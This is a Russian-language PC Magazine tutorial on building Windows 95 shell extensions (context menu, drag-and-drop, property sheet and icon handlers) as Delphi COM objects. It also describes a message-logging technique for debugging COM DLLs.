
Все упомянутые в статье программы можно загрузить из службы PC Magazine Online.

Подготовка вспомогательных интерфейсов

На рис. 1 представлена иерархия создаваемых нами вспомогательных объектов. Сплошными линиями обозначены стандартные иерархические связи между объектами; на вершине этого дерева вы видите объект IUnknown, описанный на языке Delphi. Под именем каждого объекта перечисляются все его интерфейсы, за исключением обязательного для всех интерфейса IUnknown. Пунктирными линиями показаны связи контейнер/сателлит, которые служат основой всей системы.

Инициализаций расширений, предназначенных для обслуживания контекстного меню, списка параметров и работы механизма drag-and-drop, выполняется с помощью интерфейса IShellExtInit. Аналогичная операция для расширения - обработка пиктограмм осуществляется через интерфейс IPersistFile. На лист. 2 приведены описания объектов-сателлитов, реализующих два названных вспомогательных интерфейса, и объектов-контейнеров, заранее подготовленных для управления этими объектами-сателлитами.

Дополнительный метод Initialize объекта IMyShellExtInit служит функцией Initialize интерфейса IShellExtInit. Данный объект наследует функции объекта ISatelliteUnknown: его методы QueryInterface, AddRef и Release. В результате таблица виртуальных методов объекта IMyShellExtInit полность совпадает с набором функций интерфейса IShellExtInit. Метод Initialize извлекает из передаваемых вызывающей программой данных список файлов и сохраняет его в отдельном поле данных своего объекта-контейнера, тип которого обязательно должен быть ISEIContainer.

ISEIContainer наследует методы AddRef и Release контейнера IContainerUnknown. Имеющий собственную реализацию метода QueryInterface объект ISEIContainer сначала вызывает вариант QueryInterface, унаследованный от IContainerUnknown. Если полученное в ответ значение не равно S_OK, тогда с помощью его собственного метода QueryInterface проверяется, есть ли обращение к интерфейсу IShellExtInit. Если ответ положительный, этот метод передает указатель на свое поле типа protected FShellExtInit, являющееся объектом типа IMyShellExtInit. Кроме этого, в ISEIContainer описываются поля для хранения списка файлов, их числа и маршруты к ним. Имеющийся у него конструктор Create инициализирует список файлов и объекты FShellExtInit, а деструктор Destroy высвобождает память, отведенную для этих двух объектов.

Описание объекта IMyPersistFile кажется более сложным, чем у IMyShellExtInit. Однако в действительности пять из шести его методов, реализующих функции интерфейса IPersistFile, в качестве результата передают значение E_FAIL. Метод Load объекта IMyPersistFile получает имя файла в формате Unicode, преобразует его в строку ANSI и записывает в соответствующее поле своего объекта-контейнера, тип которого обязательно IPFContainer. Так же как у ISEIContainer, метод QueryInterface объекта IPFContainer имеет свои особенности. Сначала выполняется обращение к унаследованному варианту QueryInterface. Если в ответ получено значение ошибки, то с помощью собственного метода QueryInterface проверяется, есть ли обращения к интерфейсу IPersistFile. Если да, передается указатель на protected-поле FPersistFile - объект типа IMyPersistFile. За создание и удаление объекта FPersistFile отвечают специальные методы объекта-контейнера - конструктор и деструктор.

Теперь все готово и можно приступать к подготовке наших расширений оболочки Windows95.

Рис. 1. Иерархия объектов - расширений оболочки Windows

           <--------- IUnknown ----------->
          |           --------             |
          |                                |
   IContainerUnknown                  ISatelliteUnknown
   |                                                 |
   |-> IPFContainer  -----------> IMyPersistFile     |
   |   IPersistFile               IPersistFile   <---|
   |    |               -------->                    |
   |    |              |                             |
   |     ->IDSExtraction -------> IMyExtraction  <---|
   |       IPersistFile           IExtractIcon       |
   |       IExtractIcon                              |
   |                                                 |
   |                                                 |
    -->ISEIContainer -----------> IMyShellExtInit<---|
       IShellExtInit     -------> IShellExtInit      |
       |                |      ->                    |
       |                |     ||                     |
       |-> IDSContextMenu ----||> IMyContextMenu <---|
       |   IShellExtInit      ||  IContextMenu       |
       |   IContextMenu       ||                     |
       |              -------- |                     |
       |             |   ------                      |
       |-> IDSDragDrop -|-------> IMyDragDrop    <---|
       |   IShellExtInit|         IContextMenu       |
       |   IContextMenu |                            |
       |                |                            |
       |-> IDSPropSheet --------> IMyPropSheet   <---|
           IShellExtInit          IShellPropSheetExt
           IShellPropSheetExt
Лист. 1. Два объекта-сателлита реализуют вспомогательные интерфейсы, необходимые для работы таких расширений оболочки Windows 95, как обработчики контекстного меню, списка параметров, для механизма drag-and-drop и пиктограмм.

 type
   IMyShellExtInit = class(ISatelliteUnknown)
   public
     function Initialize(pidlFolder:PItemIDlist; lpdobj: IDataObject;
       hKeyProgID:HKEY) :HResult; virtual; stdcall;
   end;

   IMyPersistFile = class(ISatelliteUnknown)
   public
     function GetClassID(var classID: TCLSID): HResult; virtual;
      stdcall;
     function IsDirty: HResult; virtual; stdcall;
     function Load(pszFileName: POleStr; dwMode: Longint): HResult;
       virtual; stdcall;
     function Save(pszFileName: POleStr; fRemember: BOOL): HResult;
       virtual; stdcall;
     function SaveCompleted(pszFileName: POleStr): HResult;
       virtual; stdcall;
     function GetCurFile(var pszFileName: POleStr): HResult;
       virtual; stdcall;
   end;

   ISEIContainer = class(IContainerUnknown)
   protected
     FShellExtInit : IMyShellExtInit; // Интерфейс объекта-сателлита
   public
     FNumFiles         : Integer;
     FInitFiles        : TStringList;
     FIDPath           : String;
     Constructor Create;
     destructor Destroy; override;
     function QueryInterface(const WantIID: TIID);
       var ReturnedObject): HResult; override;
   end;

   IPFContainer = class(IContainerUnknown)
   protected
     FPersistFile : IMyPersistFile: //Интерфейс объекта-сателлита
   public
     FPFFileName : String;
     Constructor Create;
     destructor Destroy; override;
     function QueryInterface(const WantIID: TIID;
       var ReturnedObject): HResult; override;
   end;

Обработчик контекстного меню

Щелчок правой клавишей мыши на каком-то файле, в среде Windows 95 Explorer приводит к тому, что система предпринимает попытку выяснить, задан ли для такого типа файлов обработчик контекстного меню. Если таковой имеется, система создает экземпляр COM-объекта - обработчика контекстного меню и передает список выделенных файлов функции Initialize интерфейса IShellExtInit этого объекта. Затем обращается к методу QueryContextMenu интерфейса IContextMenu. В работе этой функции используются стандартные функции Windows API; например, для вставки дополнительных элементов меню или разделителей вызывается функция InsertMenu, которая передает в качестве return-значения число добавленных элементов, не считая разделителей. Если же пользователь выбрал один из этих внесенных элементов меню, то происходит вызов функции InvokeCommand интерфейса IContextMenu. Чтобы предоставить комментарий к данному элементу меню в строке состояний программы Explorer, вызывается функция GetCommandString.

Для определения и инициализации обработчика контекстного меню используются следующие Delphi-объекты: IMyContextMenu, IDSContextMenu и ICMClassFactory. Объект IMyContextMenu является потомком ISatelliteUnknown; его интерфейс IContextMenu реализует три функции. Объект IDSContextMenu - потомок ISEIContainer, поэтому снабжен интерфейсом IShellExtInit. В IDSContextMenu имеется дополнительное protected-поле FContextMenu с типом IMyContextMenu. И в этом случае конструктор и деструктор объекта IDSContextMenu ответственны за создание и удаление объекта-сателлита; при обращении к интерфейсу IContextMenu метод QueryInterface данного объекта передает в вызывающую программу указатель на объект FContextMenu.

Эта программа содержит также описание объекта ICMClassFactory - потомка IMyClassFactory, специально предназначенного для получения экземпляра IDSContextMenu. Метод CreateInstance создает запрашиваемый экземпляр и обеспечивает к нему доступ, но только если среди интерфейсов объекта IDSContextMenu имеется запрашиваемый. Для каждого из наших расширений оболочки потребуется почти такой же вариант потомка IMyClassFactory.

Метод QueryContextMenu предназначен для проверки того, сколько файлов выбирается: один или несколько. Если только один, в меню добавляется элемент под именем Magic Number (магический номер); если же их несколько - элемент Average Magic Number (усредненный магический номер). Метод InvokeCommand проверяет правильность переданных ему аргументов и выводит в окне сообщений запрошенный номер. Метод GetCommandString в соответствии с тем, что было запрошено, передает либо отдельное слово - наименование элемента меню, либо пояснительную строку.

Обработчик для механизма drag-and-drop

Обработчик для механизма drag-and-drop практически не отличается от обработчика контекстного меню - в них используется даже один и тот же интерфейс IContextMenu. Однако имеются некоторые отличия: во-первых, активизация расширения, предназначенного для обслуживания механизма drag-and-drop происходит при переносе файла в какую-то папку правой клавишей мыши; во-вторых, это расширение вносится в список файлов того типа, которые помещены в данную папку, а не к тому типу файлов, к которому относится перемещенный файл. Объект-сателлит IMyDragDrop содержит следующие методы: QueryContextMenu, InvokeCommand и GetCommandString.

Сначала метод QueryContextMenu выполняет просмотр переданного ему системой списка файлов с целью проверки, все ли относятся к типу DelShellFile. Если это так, данный метод добавляет в меню новый элемент Count Files (Подсчет файлов), разделитель и передает в качестве return-значение 1. Если же результат отрицательный, никаких действий не производится и передается значение 0. При выборе добавленного элемента меню метод InvokeCommand подсчитывает количество файлов в папке-получателе и добавляет это число к "магическому номеру" каждого из выделенных DelShellFile-файлов. Поскольку этот номер и пиктограмма такого файла взаимосвязаны, обращение к функции API, SHChangeNotify осведомит систему о необходимости обновить пиктограммы каждого из этих файлов.

В функциональном отношении объект-контейнер IDSDragDrop идентичен объекту IDSContextMenu. Разница лишь в том, что тип его объекта-сателлита - IMyDragDrop, а не IMyContextMenu.

Обработчик списка параметров

Когда пользователь, выделив один или несколько файлов, выбирает в контекстном меню команду Properties (Параметры), система сначала пытается определить, предусмотрен ли специальный обработчик списка параметров для данного типа файлов. Если да, система создает экземпляр соответствующего расширения оболочки и инициализирует, передав функции Initialize его интерфейса IShellExtInit список выделенных файлов. Система также обращается к функции AddPages интерфейса IShellPropSheetExt, с тем чтобы дать возможность обработчику списка параметров добавить к нему одну или несколько страниц. Другая функция интерфейса IShellPropSheetExt - ReplacePages - обычно не используется.

Однако, когда дело доходит до реализации метода AddPages, программисты, работающие с Delphi, внезапно оказываются в полной растерянности. Для создания страницы списка параметров необходим такой ресурс, как шаблон диалогового окна, и функция для его обработки. Лишь бывалые Windows-программисты, возможно, еще помнят о старинных предшественниках нынешних средств визуального программирования. Для подготовки шаблона диалогового окна можно воспользоваться инструментом для генерации ресурсов, таким, как Resource Workshop фирмы Borland или составить сценарий ресурса и откомпилировать его с помощью компилятора ресурсов BRCC.EXE, входящего в комплект Delphi. Вместе с исходными текстами для этой статьи можно загрузить и сценарий ресурса, описывающий список параметров для файлов типа DelShellFile.

Этот сценарий дает определения двух статических полей с текстом, окна списка и кнопки. В общем подключаемом файле SHEET.INC объявлены константы IDC_Static, IDC_ListBox и IDC_Button, используемые в качестве идентификаторов для управления диалоговым окном.

При исполнении метода AddPages происходит инициализация различных полей структуры TPropSheetPage, в том числе шаблона диалогового окна, процедуры управления им и параметра lParam, описанного в программе. Здесь lParam содержит список файлов, переданных из оболочки Windows. Использование функции обратного вызова гарантирует освобождение памяти, выделенной под этот список. При обращении к функции CreatePropertySheetPage она создает страницу на основании данных структуры TPropSheetPage, а при вызове предусмотренной в оболочке функции lpfnAddPage к диалоговому окну Properties будет добавлена эта страница.

Процедура управления диалоговым окном обрабатывает два конкретных сообщения. Если поступает сообщение WM_INITDIALOG, окно списка дополняется перечнем файлов, указанным в поле параметра lParam данной страницы списка параметров. Перед каждым именем проставляется соответствующий "магический номер". Затем процедура формирует статический элемент управления, отображающий количество выбранных в данный момент файлов. Список файлов удаляется, а поле, где прежде находился данный список файлов, обнуляется.

Если же пользователь щелкнет на кнопке Zero Out (Очистить), процедура управления диалоговым окном получает сообщение WM_COMMAND, где в младшем слове wParam указывается идентификатор данной кнопки. Процедура просматривает весь список файлов и делает нулевым "магический номер" каждого из них, затем обращается к функции API - SHChangeNotify, чтобы сообщить системе о необходимости перерисовать пиктограммы файлов. Фактически любая процедура управления диалоговым окном списка параметров должна иметь средства для реакции на сообщение WM_INITDIALOG, чтобы выполнить инициализацию своих управляющих элементов. Если же она предназначена не только для отображения информации, тогда в ней должны быть средства, обеспечивающие реакцию на сообщения WM_COMMAND, поступающие от конкретных управляющих элементов.

Обработчик пиктограмм

В большинстве случаев средства оболочки Windows 95 просто выбирают для файла ту пиктограмму, которая указана для такого типа файлов в разделе DefaultIcon системного реестра. Однако, если в разделе DefaultIcon задано значение %1, тогда происходит обращение к некоторому расширению оболочки, которое выполняет роль обработчика пиктограмм для данного файла. Система обращается к функции Load интерфейса IPersistFile этого расширения, передавая ей в качестве параметра имя файла. Обработчик пиктограмм обеспечивает соответствующую пиктограмму через функции GetIconLocation и Extract своего интерфейса IExtractIcon. Эта информация представляет собой либо имя файла и порядковый номер конкретной пиктограммы, либо созданную при поступлении запроса пиктограмму.

Наш пример объекта-сателлита IMyExtractIcon реализует оба варианта. Если задана директива условной компиляции UseResource, метод GetIconLocation присваивает аргументу szIconFile в качестве значения имя DLL-модуля, содержащего объект IMyExtractIcon, затем на основании "магического номера" файла вычисляет значение аргумента piIndex. Данный метод включает в значение аргумента pwFlags флажок GIL_PERINSTANCE, наличие которого означает, что каждый файл может иметь свою отдельную пиктограмму и флажок GIL_DONTCACHE - знак того, что система не должна сохранять эту пиктограмму в памяти для последующих применений. Метод Extract в этом случае не используется; его return-значение будет S_FALSE.

Если же директива условной компиляции UseResource не задана, тогда объект-сателлит IMyExtractIcon формирует пиктограмму для каждого файла. Метод GetIconLocation заносит "магический номер" данного файла в аргумент piIndex и помимо упомянутых выше флажков использует флажок GIL_NOTFILENAME. Из оболочки вызывается метод Extract, который создает для данного файла пиктограммы двух размеров - крупную и маленькую. Высота красной полоски в прямоугольнике пиктограммы определяется "магическим номером" файла. В исходных текстах, прилагаемых к этой статье, представлена процедура создания пиктограммы на ходу. Однако, поскольку она имеет лишь косвенное отношение к тематике этой статьи, ее подробности здесь не обсуждаются.

Компоновка программы

Для того чтобы все перечисленные расширения оболочки работали, нужно скомпилировать их в DLL-модуль, содержащий стандартные функции DllGetClassObject и DllCanUnloadNow. В числе исходных текстов, прилагающихся к этой статье, имеется и программа, описывающая такой DLL-модуль. Функция DllGetClassObject выполняет следующие операции: выясняет, к какому объекту поступил запрос, формирует соответствующую фабрику классов (class factory) и передает в качестве результата объект, созданный этой фабрикой. Среди упомянутых исходных текстов вы найдете также программу, описывающую DLL-модуль несложной консольной процедуры, управляющей операциями внесения и удаления из системного реестра информации обо всех перечисленных здесь образцах расширений оболочки.

Теперь, изучив приведенные примеры, можно приступать к созданию собственных расширений оболочки. Только не забудьте заменить имеющиеся в текстах программ значения глобально уникальных идентификаторов GUID (Globally Unique Identifiers) новыми. В этом вам поможет программа генерации, GUIDS, представленная в первой части этой статьи.

Средства для отладки COM объектов

Большинство современных пакетов для разработки программ содержат встроенные средства отладки, обеспечивающие возможность выполнения в пошаговом режиме, трассировки кода, установки точек прерывания и просмотра значений переменных. Все они пригодны для отладки исполнимых EXE-модулей. Однако если программа оформлена в виде DLL-модуля, то интегрированные средства отладки оказываются бесполезными. Даже при использовании 32-разрядного автономного отладчика не так-то просто добраться до COM объектов, поскольку они выполняются в адресном пространстве обратившегося к ним объекта или программы. Например, COM объекты, являющиеся расширениями оболочки Windows 95, исполняются в адресном пространстве программы Windows Explorer.

Однако чаще всего разработчика интересуют достаточно простые вопросы о работе COM объектов: Был ли загружен DLL-модуль вообще? Производилась ли попытка создать экземпляр конкретного COM объекта? Какой интерфейс запрашивался? Выяснить все это можно с помощью простого механизма регистрации сообщений: COM объект отправляет сообщения о своем состоянии, которые принимает и регистрирует предназначенная для этого самостоятельная программа. Из службы PC Magazine Online вы можете загрузить специальный модуль DllDebug, который обеспечивает механизм передачи таких сообщений.

Раздел этого модуля, который выполняет инициализацию, присваивает переменной WM_LOGGIT уникальное значение идентификатора сообщений, полученное от функции RegisterWindowMessage в результате передачи ей строковой переменной Debugging Status Message. При первом обращении к функции RegisterWindowMessage с использованием этой строки она передает уникальный номер сообщения, а при последующих вызовах с ней в качестве результата будет получен тот же номер.

Поскольку 32-разрядные программы выполняются в отдельном адресном пространстве, функция Loggit не может так просто передать указатель на свою строку с сообщением о состоянии. В адресном пространстве принимающей программы этот указатель будет недействителен. Поэтому функция Loggit вносит это сообщение в таблицу глобальных элементов системы Windows (global atom table). После этого она обращается к функции SendMessage, передавая ей следующие параметры: значение -1 для дескриптора окна, WM_LOGGIT в качестве номера сообщения и элемент для wParam. Функция SendMessage сохраняет за собой управление до тех пор, пока действующие в системе окна верхнего уровня не обработают это сообщение. Теперь этот элемент можно безболезненно удалить.

При подготовке сообщений о состоянии очень кстати придется функция NameOfIID, предусмотренная в модуле DllDebug. Согласно документации, она передает идентификаторы интерфейсов IIDs, реализуемых расширениями оболочки. Однако к ним можно добавить любые значения системных IID, необходимых для вашего проекта. Например, в тело метода QueryInterface можно было бы вставить следующую строку:

   Loggit(Format('QueryInterface: %s requested', [NameOfIID(WantIID)]));

Организовать передачу сообщения WM_LOGGIT - это еще полдела. Нужна программа, которая будет принимать и регистрировать сообщения о производимых операциях. Утилита Logger, предлагаемая службой PC Magazine Online, - один из возможных вариантов решения этой задачи.

Поскольку значение, имеющееся в сообщении WM_LOGGIT, становится известным только в процессе исполнения, нет возможности задать стандартный метод обработки сообщения. Поэтому в программе Logger переопределяется интерфейсный метод DefaultHandler. При прохождении сообщения WM_LOGGIT этот метод извлекает сообщение о состоянии из передаваемого элемента и добавляет его в имеющийся список окна просмотра. Помимо этой основной функции она обслуживает три рабочие кнопки - для вставки комментария пользователя, для очистки окна списка и для сохранения зарегистрированных сообщений в файле. На рис. А вы видите момент выполнения программы Logger.

В приведенном диалоговом окне представлены методы QueryInterface нескольких COM объектов, подготовленных в среде Delphi, инструментированные строкой, в которой регистрируется имя запрашиваемого интерфейса. Перед вами список запросов, отправленных, когда Explorer извлек пиктограмму для некоторого файла, затем пользователь щелкнул на ней правой клавишей мыши и просмотрел его параметры. Все работает правильно. Если же наша утилита вдруг выводит на экран неожиданные результаты, тогда в сомнительный фрагмент своей программы можно добавить новые обращения к функции Loggit и повторять эксперимент до тех пор, пока не удастся найти ошибку.